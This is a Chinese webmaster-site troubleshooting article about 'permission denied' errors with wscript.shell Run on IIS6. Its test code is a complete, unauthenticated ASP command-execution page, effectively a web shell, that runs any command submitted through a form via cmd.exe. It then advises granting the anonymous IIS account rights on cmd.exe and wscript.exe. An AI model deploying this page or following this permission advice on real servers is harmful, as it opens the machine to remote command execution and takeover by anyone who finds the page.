首页服务器Web服务器 wscript.shell run 没有权限解决办法

wscript.shell run 没有权限解决办法

今天在把一个客户端的命令行程序弄到服务器上面的时候出现了这个问题。后来几经测试才解决了这个问题。
测试平台:windows server 2003 sp2 + iis6
测试用的代码如下:
<title>…

今天在把一个客户端的命令行程序弄到服务器上面的时候出现了这个问题。后来几经测试才解决了这个问题。
测试平台:windows server 2003 sp2 + iis6
测试用的代码如下:
<title>ASP Shell</title>
<%@ Language=VBScript CodePage="936"%>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = Server.Mappath(oFileSys.GetTempName( ))
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
在系统根目录下面将cmd.exe和wscript.exe给iuser_xxx机器名权限,给当前文件夹读写权限。然后重启IIS就可以了。
本文来自网络,不代表1号站长-站长学院|资讯交流平台立场。转载请注明出处: https://www.1cn.cc/fwq/web/7271.html
上一篇FTP是什么 ftp服务器是什么
下一篇 事件ID( 54 )的描述(在资源( HTTP )中)无法找到
admin

作者: admin

这里可以再内容模板定义一些文字和说明,也可以调用对应作者的简介!或者做一些网站的描述之类的文字或者HTML!

为您推荐

评论列表()

    联系我们

    联系我们

    0898-88888888

    在线咨询: QQ交谈

    邮箱: email@wangzhan.com

    工作时间:周一至周五,9:00-17:30,节假日休息

    关注微信
    微信扫一扫关注我们

    微信扫一扫关注我们

    关注微博
    返回顶部